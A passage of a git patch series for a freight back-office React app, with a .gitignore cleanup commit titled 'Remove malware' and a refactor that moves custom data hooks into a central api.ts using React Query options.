zB~PRmc6dbDqB%>V(!{2Mp$~tsAE$`6C}QibCjdpIG`;D_U0E7bGo622e`e47Rx7L_ zlRjym^Jr-Cpz1kQ_G`bZq1idJ6hqK2<}vE$Ssxk)4s-?qhZYqjqtjQXjvA5uO=7P) z4j2e?UxV5(0qMZse3;t!y~SS=?Ubh2x?BR_Gg^RS!kg$`eLd=mq)+m#pnD}Ef zQr<7~k#jR%=in)c3jzr)TxHgnKz1f@pc)70*JeU-x{85I6BCs*1{UoeRhc_uE8S>C zx994_jDz}F_sbou%3tlEs|m3aHSLCPOSEwqlaW!MzE}P$q7KL7^?e^2UAs^j3<`kB zhq)iY;a^(uj@IYgfzB1C03F_E;Jg>$4xfPb+M;BHpVs|GPA`Dp#Yi#b>*d~vQ^9z* zM}V9qnQ^U4LAsJw1&TXe9A+#N8u3}o3Am-AF-12SCG70`<$)yqw1^#jNAH&Sozyuq z^+DpyxCSm`Wg$*6g#Fq0Jy7aqaVFu730$L6jdQR;2jMq0s}qJ}d25r~Wcu)FM0 zaJms7AoT0}H`$}|w^z{87|`|(5DgrhkK8a(u7#2Kq(ZbG9{sq|%>I+XAFv)p|5;uT zs!`MT3teiqK0k-VO}j3b6lH@)v*t!xfk=Bm;$gLX{1Uq$#-YU@?*%BPUxFR&|37^+ zH~HXC-tjTW1Tp{nng5eqH{yqa5b_)%vsjX$-C67wM2@HByN?JJ_fD1jv(cYzT(G$1 zTI+nj4OEl2_Kn;~oB)bNM-GEPv#*bi22`T@@O3L1n*Se-85&jca`u0kfuwCO+Ho;S zHji?m?9?nt;`mdWMQ0_Ic^SFYT1W2Xo*Oi6VQu!S-fgXL%2m<~c{6bEEoiH;zUS3M zx2AW6_QT?_aep|MLrt?Y7U56pWus^wM<@)yU1ylOx*Z*vYb+cNeA(wz&VnPp0VIB| zW?u#cZtb8kENmLqzi&Mca?Z1gZ;Cc$i^pU9QDcjXrZtO&&-|Sh0*2>DL^|BG^*4Qj z|5emv)@^nh)o;B{rb)S1>8>6%{^|YUPUvKH@>QKOC52<0E%G^*&_p0m1v27)X4ERL zy_|koL0>O%Yamo)n!93hNe*r&>u^9wBidHwIuq0*Kv9LOxf>*rOnxubDR`|rzeOj1 z2(vt@>TlzK#o#=ZF8^ELd0=DfI1Yr&I>mJ^4^0WeCWQWFJsML3x#fC)MeqEmp20;! zpqd;i>P!e{mk&@3Wr7~-j}>Q;CdIcGK z6XT`>3AYPOGM)gfftbp}DKem_@`K<}t^13Yw~=<_NMo_YD*7{{S-Ra=ZWl literal 0 HcmV?d00001 From f25a237dc0654e0fd0ae65c54cddcaef9a3a5320 Mon Sep 17 00:00:00 2001 From: Muluhabt Date: Mon, 22 Jun 2026 16:27:02 +0300 Subject: [PATCH 26/30] Remove malware --- .gitignore | 8 -------- 1 file changed, 8 deletions(-) diff --git a/.gitignore b/.gitignore index 3f4bed8a2..0e3f0986f 100644 --- a/.gitignore +++ b/.gitignore @@ -24,11 +24,3 @@ coverage/ .idea/ .vscode/ .npmrc - -# emacs cache files -*~ -\#*\# -.\#* -branch_structure.json -temp_auto_push.bat -temp_interactive_push.bat From 2700a3edec2eeb291654d843e13b9ae74bb61b72 Mon Sep 17 00:00:00 2001 From: Nathnael Date: Mon, 22 Jun 2026 13:46:38 +0000 Subject: [PATCH 27/30] refactor: migrate from most of the custom hooks into the api.ts --- .../components/profile/MySignatureCard.tsx | 21 +- .../trainScheduling/AllocateBookingWizard.tsx | 35 +- .../trainScheduling/ScheduleBatchPanel.tsx | 30 +- .../AssignedBookingsPanel.tsx | 5 +- .../CompositionBookingTabs.tsx | 20 +- .../ContainerNumberInput.tsx | 8 +- .../compositionEditor/RemovalLogPanel.tsx | 10 +- .../compositionEditor/TrainConsistView.tsx | 13 +- .../UnassignedBookingsPanel.tsx | 17 +- .../components/wagons/AssignWagonDialog.tsx | 11 +- .../src/components/wagons/WagonsTable.tsx | 13 +- .../warehouses/CreateWarehouseModal.tsx | 7 +- .../warehouses/WarehouseCardView.tsx | 8 +- .../components/warehouses/WarehouseTable.tsx | 8 +- .../backoffice/src/constants/QUERY_KEYS.ts | 8 +- .../backoffice/src/hooks/fleet/useFleet.ts | 35 - .../trainScheduling/useTrainScheduling.ts | 325 ------- .../backoffice/src/hooks/use-cargo-types.ts | 12 - .../src/hooks/use-container-types.ts | 12 - .../backoffice/src/hooks/use-wagon-types.ts | 36 - .../backoffice/src/hooks/useContainers.ts | 59 -- .../src/hooks/useDropdownSettings.ts | 112 --- .../backoffice/src/hooks/useFacilities.ts | 16 - .../src/hooks/useFileUploadSettings.ts | 126 --- .../backoffice/src/hooks/useLocomotives.ts | 47 - .../backoffice/src/hooks/usePayments.ts | 23 - .../backoffice/src/hooks/useRoutes.ts | 55 -- .../backoffice/src/hooks/useSavedSignature.ts | 30 - .../backoffice/src/hooks/useStations.ts | 16 - .../backoffice/src/hooks/useTrains.ts | 39 - .../backoffice/src/hooks/useWagons.ts | 64 -- .../src/pages/bookings/NewBookingPage.tsx | 27 +- .../documents/EditFileUploadSettingDialog.tsx | 7 +- .../documents/FileUploadSettingsPage.tsx | 7 +- .../ManageFileUploadFieldsDialog.tsx | 9 +- .../DropdownSettingsPage.tsx | 7 +- .../EditDropdownSettingDialog.tsx | 11 +- .../ManageDropdownOptionsDialog.tsx | 9 +- .../src/pages/fleet/FleetCrudPages.tsx | 79 +- .../src/pages/fleet/FleetResourcePage.tsx | 48 +- .../backoffice/src/pages/fleet/RoutesPage.tsx | 20 +- .../src/pages/payments/PaymentsPage.tsx | 12 +- .../pages/trainScheduling/BatchBoardPage.tsx | 7 +- .../BatchScheduleDetailPage.tsx | 28 +- .../TrainScheduleTrackPage.tsx | 14 +- .../TrainScheduleV2DetailPage.tsx | 29 +- .../TrainScheduleV2ListPage.tsx | 23 +- .../src/pages/trains/TrainDetailPage.tsx | 8 +- .../backoffice/src/services/api.ts | 845 +++++++++++++++++- .../backoffice/tsconfig.app.json | 3 +- 50 files changed, 1165 insertions(+), 1249 deletions(-) delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/fleet/useFleet.ts delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/trainScheduling/useTrainScheduling.ts delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/use-cargo-types.ts delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/use-container-types.ts delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/use-wagon-types.ts delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/useContainers.ts delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/useDropdownSettings.ts delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/useFacilities.ts delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/useFileUploadSettings.ts delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/useLocomotives.ts delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/usePayments.ts delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/useRoutes.ts delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/useSavedSignature.ts delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/useStations.ts delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/useTrains.ts delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/useWagons.ts diff --git a/apps/edr-freight-web/backoffice/src/components/profile/MySignatureCard.tsx b/apps/edr-freight-web/backoffice/src/components/profile/MySignatureCard.tsx index 3ac661e1a..5f4f4d7a7 100644 --- a/apps/edr-freight-web/backoffice/src/components/profile/MySignatureCard.tsx +++ b/apps/edr-freight-web/backoffice/src/components/profile/MySignatureCard.tsx @@ -1,6 +1,9 @@ import { useState } from "react"; import { FileSignature, Loader2 } from "lucide-react"; +import { useMutation, useQuery } from "@tanstack/react-query"; +import toast from "react-hot-toast"; +import { api } from "@/services/api"; import { ContractSignaturePad } from "@/components/bookings/ContractSignaturePad"; import { Card, @@ -10,10 +13,6 @@ import { CardTitle, } from "@/components/ui/card"; import { useAuth } from "@/auth/useAuth"; -import { - useMySignature, - useSaveSignature, -} from "@/hooks/useSavedSignature"; import { Button, Dialog, @@ -33,8 +32,10 @@ import { */ export function MySignatureCard() { const { user } = useAuth(); - const { data: saved, isLoading } = useMySignature(); - const saveMutation = useSaveSignature(); + const { data: saved, isLoading } = useQuery( + api.signatures.mySignature.queryOptions({ staleTime: 60_000 }), + ); + const saveMutation = useMutation(api.signatures.save.mutationOptions()); const [open, setOpen] = useState(false); const [signerName, setSignerName] = useState(""); @@ -56,7 +57,13 @@ export function MySignatureCard() { signerDisplayName: signerName.trim(), signatureImageBase64: signatureData, }, - { onSuccess: () => setOpen(false) }, + { + onSuccess: () => { + toast.success("Signature saved"); + setOpen(false); + }, + onError: () => toast.error("Failed to save signature"), + }, ); }; diff --git a/apps/edr-freight-web/backoffice/src/components/trainScheduling/AllocateBookingWizard.tsx b/apps/edr-freight-web/backoffice/src/components/trainScheduling/AllocateBookingWizard.tsx index 0b2e0a885..0c26c3392 100644 --- a/apps/edr-freight-web/backoffice/src/components/trainScheduling/AllocateBookingWizard.tsx +++ b/apps/edr-freight-web/backoffice/src/components/trainScheduling/AllocateBookingWizard.tsx @@ -31,13 +31,8 @@ import { Weight, } from "lucide-react"; -import { - useAvailableLocomotives, - useEligibleBookings, - useScheduleList, - useScheduleMutations, -} from "@/hooks/trainScheduling/useTrainScheduling"; -import { useRoutes } from "@/hooks/useRoutes"; +import { useMutation, useQuery } from "@tanstack/react-query"; +import { api } from "@/services/api"; import { useToast } from "@/hooks/use-toast"; import { trainSchedulingService } from "@/services/trainScheduling.service"; import type { BookingDetail } from "@/types/booking"; @@ -133,13 +128,27 @@ export function AllocateBookingWizard({ [originId, destinationId], ); - const eligibleQuery = useEligibleBookings(eligibleFilters, opened); - const schedulesQuery = useScheduleList(); - const routesQuery = useRoutes(); - const locomotivesQuery = useAvailableLocomotives( - scheduleMode === "new" && routeId ? routeId : undefined, + const eligibleQuery = useQuery( + api.trainScheduling.eligibleBookings.queryOptions({ + input: { filters: eligibleFilters }, + enabled: opened, + }), ); - const { create, preview, assign, finalize } = useScheduleMutations(selectedScheduleId ?? undefined); + const schedulesQuery = useQuery( + api.trainScheduling.scheduleList.queryOptions({ input: {} }), + ); + const routesQuery = useQuery(api.routes.list.queryOptions()); + const locomotivesQuery = useQuery( + api.trainScheduling.availableLocomotives.queryOptions({ + input: { + routeId: scheduleMode === "new" && routeId ? routeId : undefined, + }, + }), + ); + const create = useMutation(api.trainScheduling.createSchedule.mutationOptions()); + const preview = useMutation(api.trainScheduling.preview.mutationOptions()); + const assign = useMutation(api.trainScheduling.assignBookings.mutationOptions()); + const finalize = useMutation(api.trainScheduling.finalizeSchedule.mutationOptions()); useEffect(() => { if (scheduleMode === "new") { diff --git a/apps/edr-freight-web/backoffice/src/components/trainScheduling/ScheduleBatchPanel.tsx b/apps/edr-freight-web/backoffice/src/components/trainScheduling/ScheduleBatchPanel.tsx index 515f1e361..d44ef4540 100644 --- a/apps/edr-freight-web/backoffice/src/components/trainScheduling/ScheduleBatchPanel.tsx +++ b/apps/edr-freight-web/backoffice/src/components/trainScheduling/ScheduleBatchPanel.tsx @@ -13,11 +13,10 @@ import { } from "@mantine/core"; import { CheckCircle2, Layers, Lock, LockOpen, PlayCircle, Repeat, XCircle } from "lucide-react"; +import { useMutation, useQuery } from "@tanstack/react-query"; + import { BookingStatusBadge } from "@/components/bookings/BookingStatusBadge"; -import { - useBatchActions, - useBookableSchedules, -} from "@/hooks/trainScheduling/useTrainScheduling"; +import { api } from "@/services/api"; import { useToast } from "@/hooks/use-toast"; import type { TrainScheduleDetail } from "@/types/trainScheduling"; @@ -33,16 +32,31 @@ const windowColor: Record = { export function ScheduleBatchPanel({ schedule }: ScheduleBatchPanelProps) { const { toast } = useToast(); - const actions = useBatchActions(schedule.id); + const actions = { + runBatch: useMutation(api.trainScheduling.runBatch.mutationOptions()), + setWindow: useMutation(api.trainScheduling.setBookingWindow.mutationOptions()), + markPaid: useMutation(api.trainScheduling.markBookingPaid.mutationOptions()), + expire: useMutation(api.trainScheduling.expireBooking.mutationOptions()), + moveSchedule: useMutation( + api.trainScheduling.moveBookingSchedule.mutationOptions(), + ), + }; const windowStatus = (schedule as { bookingWindowStatus?: string }).bookingWindowStatus ?? "OPEN"; const locked = schedule.status === "DISPATCHED" || schedule.status === "ARRIVED"; const [moveBookingId, setMoveBookingId] = useState(null); const [moveTarget, setMoveTarget] = useState(null); - const { data: targets } = useBookableSchedules( - schedule.originStation?.id, - schedule.destinationStation?.id, + const { data: targets } = useQuery( + api.trainScheduling.bookableSchedules.queryOptions({ + input: { + originYardId: schedule.originStation?.id, + destinationYardId: schedule.destinationStation?.id, + }, + enabled: Boolean( + schedule.originStation?.id && schedule.destinationStation?.id, + ), + }), ); const moveOptions = useMemo( () => diff --git a/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/AssignedBookingsPanel.tsx b/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/AssignedBookingsPanel.tsx index c1ce3a96d..914d5cb60 100644 --- a/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/AssignedBookingsPanel.tsx +++ b/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/AssignedBookingsPanel.tsx @@ -4,7 +4,8 @@ import { Building2, Package, TrainFront, Weight, X } from "lucide-react"; import type { TrainScheduleDetail } from "@/types/trainScheduling"; import type { BookingDetailData } from "./BookingDetailModal"; import { RemoveBookingConfirmModal, type RemovalTarget } from "./RemoveBookingConfirmModal"; -import { useScheduleMutations } from "@/hooks/trainScheduling/useTrainScheduling"; +import { useMutation } from "@tanstack/react-query"; +import { api } from "@/services/api"; import { useToast } from "@/hooks/use-toast"; import { freightBrand } from "@/theme/freight-brand"; @@ -22,7 +23,7 @@ export const AssignedBookingsPanel = ({ onSelect, }: AssignedBookingsPanelProps) => { const { toast } = useToast(); - const unassign = useScheduleMutations(scheduleId).unassign; + const unassign = useMutation(api.trainScheduling.unassignBooking.mutationOptions()); const isDispatched = scheduleDetail.status === "DISPATCHED"; const [removalTarget, setRemovalTarget] = useState(null); diff --git a/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/CompositionBookingTabs.tsx b/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/CompositionBookingTabs.tsx index 5de67daa6..64cb6d5cb 100644 --- a/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/CompositionBookingTabs.tsx +++ b/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/CompositionBookingTabs.tsx @@ -8,10 +8,8 @@ import { UnassignedBookingsPanel } from "./UnassignedBookingsPanel"; import { RemovalLogPanel } from "./RemovalLogPanel"; import { BatchBookingList } from "./BatchBookingList"; import { BookingDetailModal, type BookingDetailData } from "./BookingDetailModal"; -import { - useCompositionRemovals, - useUnassignedBookings, -} from "@/hooks/trainScheduling/useTrainScheduling"; +import { useQuery } from "@tanstack/react-query"; +import { api } from "@/services/api"; import { freightBrand } from "@/theme/freight-brand"; interface CompositionBookingTabsProps { @@ -47,8 +45,18 @@ export const CompositionBookingTabs = ({ const [detailBooking, setDetailBooking] = useState(null); const [tab, setTab] = useState("assigned"); - const unassignedQuery = useUnassignedBookings(scheduleId); - const removalsQuery = useCompositionRemovals(scheduleId); + const unassignedQuery = useQuery( + api.trainScheduling.unassignedBookings.queryOptions({ + input: { scheduleId }, + enabled: Boolean(scheduleId), + }), + ); + const removalsQuery = useQuery( + api.trainScheduling.compositionRemovals.queryOptions({ + input: { scheduleId }, + enabled: Boolean(scheduleId), + }), + ); const { assignedCount } = useMemo(() => { const wagons = scheduleDetail.trainSet?.wagons ?? []; diff --git a/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/ContainerNumberInput.tsx b/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/ContainerNumberInput.tsx index 5629ba698..bb25b51bb 100644 --- a/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/ContainerNumberInput.tsx +++ b/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/ContainerNumberInput.tsx @@ -1,6 +1,7 @@ import { useState } from "react"; import { Group, TextInput, Text } from "@mantine/core"; -import { useUpdateContainerItem } from "@/hooks/trainScheduling/useTrainScheduling"; +import { useMutation } from "@tanstack/react-query"; +import { api } from "@/services/api"; interface ContainerNumberInputProps { value: string | null; @@ -19,13 +20,16 @@ export const ContainerNumberInput = ({ const [inputValue, setInputValue] = useState(value ?? ""); const [error, setError] = useState(null); - const updateMutation = useUpdateContainerItem(scheduleId); + const updateMutation = useMutation( + api.trainScheduling.updateContainerItem.mutationOptions(), + ); const isLoading = updateMutation.isPending; const handleSave = async () => { try { setError(null); await updateMutation.mutateAsync({ + scheduleId, itemId, containerNumber: inputValue || null, }); diff --git a/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/RemovalLogPanel.tsx b/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/RemovalLogPanel.tsx index 05f2a8328..6682cd795 100644 --- a/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/RemovalLogPanel.tsx +++ b/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/RemovalLogPanel.tsx @@ -1,13 +1,19 @@ import { Box, Card, Group, Stack, Text, ThemeIcon } from "@mantine/core"; import { History, PackageX } from "lucide-react"; -import { useCompositionRemovals } from "@/hooks/trainScheduling/useTrainScheduling"; +import { useQuery } from "@tanstack/react-query"; +import { api } from "@/services/api"; interface RemovalLogPanelProps { scheduleId: string; } export const RemovalLogPanel = ({ scheduleId }: RemovalLogPanelProps) => { - const removalQuery = useCompositionRemovals(scheduleId); + const removalQuery = useQuery( + api.trainScheduling.compositionRemovals.queryOptions({ + input: { scheduleId }, + enabled: Boolean(scheduleId), + }), + ); if (removalQuery.isLoading) { return ( diff --git a/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/TrainConsistView.tsx b/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/TrainConsistView.tsx index 43e8c58d2..2ebfbb8ff 100644 --- a/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/TrainConsistView.tsx +++ b/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/TrainConsistView.tsx @@ -6,7 +6,8 @@ import { TrainStatsBar } from "./TrainStatsBar"; import { WagonCard } from "./WagonCard"; import { InteractiveTrainConsist } from "./InteractiveTrainConsist"; import { RemoveBookingModal } from "./RemoveBookingModal"; -import { useScheduleMutations, useRemoveWagonSlot } from "@/hooks/trainScheduling/useTrainScheduling"; +import { useMutation } from "@tanstack/react-query"; +import { api } from "@/services/api"; import { freightBrand } from "@/theme/freight-brand"; type Wagon = TrainScheduleDetail["trainSet"]["wagons"][number]; @@ -47,8 +48,12 @@ export const TrainConsistView = ({ const [selectedWagonId, setSelectedWagonId] = useState(null); const [removeModalOpen, setRemoveModalOpen] = useState(false); - const unassignMutation = useScheduleMutations(scheduleId).unassign; - const removeWagonMutation = useRemoveWagonSlot(scheduleId); + const unassignMutation = useMutation( + api.trainScheduling.unassignBooking.mutationOptions(), + ); + const removeWagonMutation = useMutation( + api.trainScheduling.removeWagonSlot.mutationOptions(), + ); const trainSet = scheduleDetail.trainSet; const wagons = trainSet?.wagons ?? []; @@ -83,7 +88,7 @@ export const TrainConsistView = ({ const handleRemoveWagon = async (wagonId: string) => { if (confirm("Are you sure you want to remove this wagon slot?")) { - await removeWagonMutation.mutateAsync(wagonId); + await removeWagonMutation.mutateAsync({ scheduleId, wagonId }); setSelectedWagonId(null); } }; diff --git a/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/UnassignedBookingsPanel.tsx b/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/UnassignedBookingsPanel.tsx index 48928be88..e5225f8dd 100644 --- a/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/UnassignedBookingsPanel.tsx +++ b/apps/edr-freight-web/backoffice/src/components/trainScheduling/compositionEditor/UnassignedBookingsPanel.tsx @@ -1,9 +1,7 @@ import { Badge, Box, Button, Card, Group, Stack, Text, ThemeIcon, Tooltip } from "@mantine/core"; import { AlertTriangle, Container as ContainerIcon, MapPin, Plus, TrainFront } from "lucide-react"; -import { - useUnassignedBookings, - useScheduleMutations, -} from "@/hooks/trainScheduling/useTrainScheduling"; +import { useMutation, useQuery } from "@tanstack/react-query"; +import { api } from "@/services/api"; import { useToast } from "@/hooks/use-toast"; import type { FleetAvailabilityRow } from "@/types/trainScheduling"; import type { BookingDetailData } from "./BookingDetailModal"; @@ -73,8 +71,15 @@ export const UnassignedBookingsPanel = ({ onSelect, }: UnassignedBookingsPanelProps) => { const { toast } = useToast(); - const unassignedQuery = useUnassignedBookings(scheduleId); - const assignMutation = useScheduleMutations(scheduleId).assignUnassigned; + const unassignedQuery = useQuery( + api.trainScheduling.unassignedBookings.queryOptions({ + input: { scheduleId }, + enabled: Boolean(scheduleId), + }), + ); + const assignMutation = useMutation( + api.trainScheduling.assignUnassignedBooking.mutationOptions(), + ); const handleAssign = async (bookingId: string, reference: string | null) => { try { diff --git a/apps/edr-freight-web/backoffice/src/components/wagons/AssignWagonDialog.tsx b/apps/edr-freight-web/backoffice/src/components/wagons/AssignWagonDialog.tsx index 07565163b..0c569e753 100644 --- a/apps/edr-freight-web/backoffice/src/components/wagons/AssignWagonDialog.tsx +++ b/apps/edr-freight-web/backoffice/src/components/wagons/AssignWagonDialog.tsx @@ -4,17 +4,18 @@ import { Button, Group, Modal, NumberInput, Select, Stack, Text } from "@mantine import { Freight } from "@edr/types"; +import { useMutation, useQuery } from "@tanstack/react-query"; + +import { api } from "@/services/api"; import { useToast } from "@/hooks/use-toast"; -import { useRouteYards } from "@/hooks/useRoutes"; -import { useAssignWagonToTrain, useWagons } from "@/hooks/useWagons"; export function AssignWagonDialog({ trainId }: { trainId: string }) { const [open, setOpen] = useState(false); const [wagonId, setWagonId] = useState(null); const [sequence, setSequence] = useState(""); - const { data: wagons } = useWagons(); - const { data: yards = [] } = useRouteYards(); - const assign = useAssignWagonToTrain(); + const { data: wagons } = useQuery(api.wagons.list.queryOptions({ input: {} })); + const { data: yards = [] } = useQuery(api.routes.yards.queryOptions()); + const assign = useMutation(api.wagons.assignToTrain.mutationOptions()); const { toast } = useToast(); const available = (wagons ?? []).filter( diff --git a/apps/edr-freight-web/backoffice/src/components/wagons/WagonsTable.tsx b/apps/edr-freight-web/backoffice/src/components/wagons/WagonsTable.tsx index d9d96c117..33a7438fe 100644 --- a/apps/edr-freight-web/backoffice/src/components/wagons/WagonsTable.tsx +++ b/apps/edr-freight-web/backoffice/src/components/wagons/WagonsTable.tsx @@ -3,15 +3,22 @@ import { Trash2 } from "lucide-react"; import type { ColumnDef } from "@edr/ui-common"; import { ActionIcon, Badge, Group, Text, Tooltip } from "@mantine/core"; +import { useMutation, useQuery } from "@tanstack/react-query"; + import { ruleEngineTable } from "@/components/ruleEngine/ruleEngineStyles"; +import { api } from "@/services/api"; import { useToast } from "@/hooks/use-toast"; -import { useUnassignWagon, useWagonsByTrain } from "@/hooks/useWagons"; import type { Wagon } from "@/services/wagon.service"; import { DataTable } from "@edr/ui-common"; export function WagonsTable({ trainId }: { trainId: string }) { - const { data: wagons = [], isLoading, refetch } = useWagonsByTrain(trainId); - const unassign = useUnassignWagon(); + const { data: wagons = [], isLoading, refetch } = useQuery( + api.wagons.listByTrain.queryOptions({ + input: { trainId }, + enabled: !!trainId, + }), + ); + const unassign = useMutation(api.wagons.unassign.mutationOptions()); const { toast } = useToast(); const columns = useMemo((): ColumnDef[] => { diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/CreateWarehouseModal.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/CreateWarehouseModal.tsx index cc8557be2..ad8b4109d 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/CreateWarehouseModal.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/CreateWarehouseModal.tsx @@ -9,11 +9,10 @@ import { TextInput, } from '@mantine/core'; -import { useMutation } from '@tanstack/react-query'; +import { useMutation, useQuery } from '@tanstack/react-query'; import { api } from '@/services/api'; import { useToast } from '@/hooks/use-toast'; -import { useStations } from '@/hooks/useStations'; import type { SaveWarehousePayload, Warehouse, WarehouseType } from '@/types/warehouse'; import { extractErrorMessage, statusOptions, warehouseTypeOptions } from './options'; @@ -52,7 +51,9 @@ export function CreateWarehouseModal({ opened, onClose, warehouse }: CreateWareh const { toast } = useToast(); const createMutation = useMutation(api.warehouses.create.mutationOptions()); const updateMutation = useMutation(api.warehouses.update.mutationOptions()); - const { data: stations } = useStations(); + const { data: stations } = useQuery( + api.stations.list.queryOptions({ staleTime: 5 * 60 * 1000 }), + ); const [form, setForm] = useState(emptyForm()); const stationOptions = (stations ?? []).map((s) => ({ value: s.id, label: `${s.name} (${s.code})` })); diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/WarehouseCardView.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/WarehouseCardView.tsx index 2d3dd2276..bd76b5e10 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/WarehouseCardView.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/WarehouseCardView.tsx @@ -2,7 +2,9 @@ import { useMemo } from 'react'; import { ActionIcon, Card, Group, SimpleGrid, Stack, Text } from '@mantine/core'; import { Building2, Eye, MapPin, Pencil } from 'lucide-react'; -import { useStations } from '@/hooks/useStations'; +import { useQuery } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import type { Warehouse } from '@/types/warehouse'; import { WarehouseStatusBadge, WarehouseTypeBadge } from './badges'; import { formatCapacity } from './options'; @@ -14,7 +16,9 @@ interface WarehouseCardViewProps { } export function WarehouseCardView({ warehouses, onView, onEdit }: WarehouseCardViewProps) { - const { data: stations } = useStations(); + const { data: stations } = useQuery( + api.stations.list.queryOptions({ staleTime: 5 * 60 * 1000 }), + ); const stationNameById = useMemo( () => new Map((stations ?? []).map((s) => [s.id, s.name])), [stations], diff --git a/apps/edr-freight-web/backoffice/src/components/warehouses/WarehouseTable.tsx b/apps/edr-freight-web/backoffice/src/components/warehouses/WarehouseTable.tsx index 80b85f693..7f8dea0e5 100644 --- a/apps/edr-freight-web/backoffice/src/components/warehouses/WarehouseTable.tsx +++ b/apps/edr-freight-web/backoffice/src/components/warehouses/WarehouseTable.tsx @@ -3,7 +3,9 @@ import { ActionIcon, Group, Text } from '@mantine/core'; import { Eye, Pencil } from 'lucide-react'; import { DataTable, type ColumnDef } from '@edr/ui-common'; -import { useStations } from '@/hooks/useStations'; +import { useQuery } from '@tanstack/react-query'; + +import { api } from '@/services/api'; import type { Warehouse } from '@/types/warehouse'; import { WarehouseStatusBadge, WarehouseTypeBadge } from './badges'; import { formatCapacity } from './options'; @@ -15,7 +17,9 @@ interface WarehouseTableProps { } export function WarehouseTable({ warehouses, onView, onEdit }: WarehouseTableProps) { - const { data: stations } = useStations(); + const { data: stations } = useQuery( + api.stations.list.queryOptions({ staleTime: 5 * 60 * 1000 }), + ); const stationNameById = useMemo( () => new Map((stations ?? []).map((s) => [s.id, s.name])), [stations], diff --git a/apps/edr-freight-web/backoffice/src/constants/QUERY_KEYS.ts b/apps/edr-freight-web/backoffice/src/constants/QUERY_KEYS.ts index 65667fe19..8d91b6f0d 100644 --- a/apps/edr-freight-web/backoffice/src/constants/QUERY_KEYS.ts +++ b/apps/edr-freight-web/backoffice/src/constants/QUERY_KEYS.ts @@ -1,9 +1,9 @@ -import type { BookingListFilter } from "@/services/bookings.service"; -import type { CompanyListFilter } from "@/types/customer"; -import type { RuleEngineListParams } from "@/services/ruleEngine/ruleEngine.service"; -import type { TrainScheduleFilters } from "@/types/trainScheduling"; import type { FleetResourceSlug } from "@/pages/fleet/config/resources"; +import type { BookingListFilter } from "@/services/bookings.service"; +import type { RuleEngineListParams } from "@/services/ruleEngine/ruleEngine.service"; +import type { CompanyListFilter } from "@/types/customer"; import type { RuleEngineResourceSlug } from "@/types/rule-engine"; +import type { TrainScheduleFilters } from "@/types/trainScheduling"; export const QUERY_KEYS = { USERS: { diff --git a/apps/edr-freight-web/backoffice/src/hooks/fleet/useFleet.ts b/apps/edr-freight-web/backoffice/src/hooks/fleet/useFleet.ts deleted file mode 100644 index 29e7bf62b..000000000 --- a/apps/edr-freight-web/backoffice/src/hooks/fleet/useFleet.ts +++ /dev/null @@ -1,35 +0,0 @@ -import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; - -import { QUERY_KEYS } from "@/constants/QUERY_KEYS"; -import type { FleetListFilters, FleetResourceSlug } from "@/services/fleet/fleet.service"; -import { fleetService } from "@/services/fleet/fleet.service"; - -export function useFleetList(slug: FleetResourceSlug, filters?: FleetListFilters) { - return useQuery({ - queryKey: [...QUERY_KEYS.FLEET.list(slug), filters ?? {}], - queryFn: () => fleetService.list(slug, filters), - }); -} - -export function useFleetMutations(slug: FleetResourceSlug) { - const qc = useQueryClient(); - const invalidate = () => qc.invalidateQueries({ queryKey: QUERY_KEYS.FLEET.list(slug) }); - - const create = useMutation({ - mutationFn: (data: Record) => fleetService.create(slug, data), - onSuccess: invalidate, - }); - - const update = useMutation({ - mutationFn: ({ id, data }: { id: string; data: Record }) => - fleetService.update(slug, id, data), - onSuccess: invalidate, - }); - - const remove = useMutation({ - mutationFn: (id: string) => fleetService.remove(slug, id), - onSuccess: invalidate, - }); - - return { create, update, remove }; -} diff --git a/apps/edr-freight-web/backoffice/src/hooks/trainScheduling/useTrainScheduling.ts 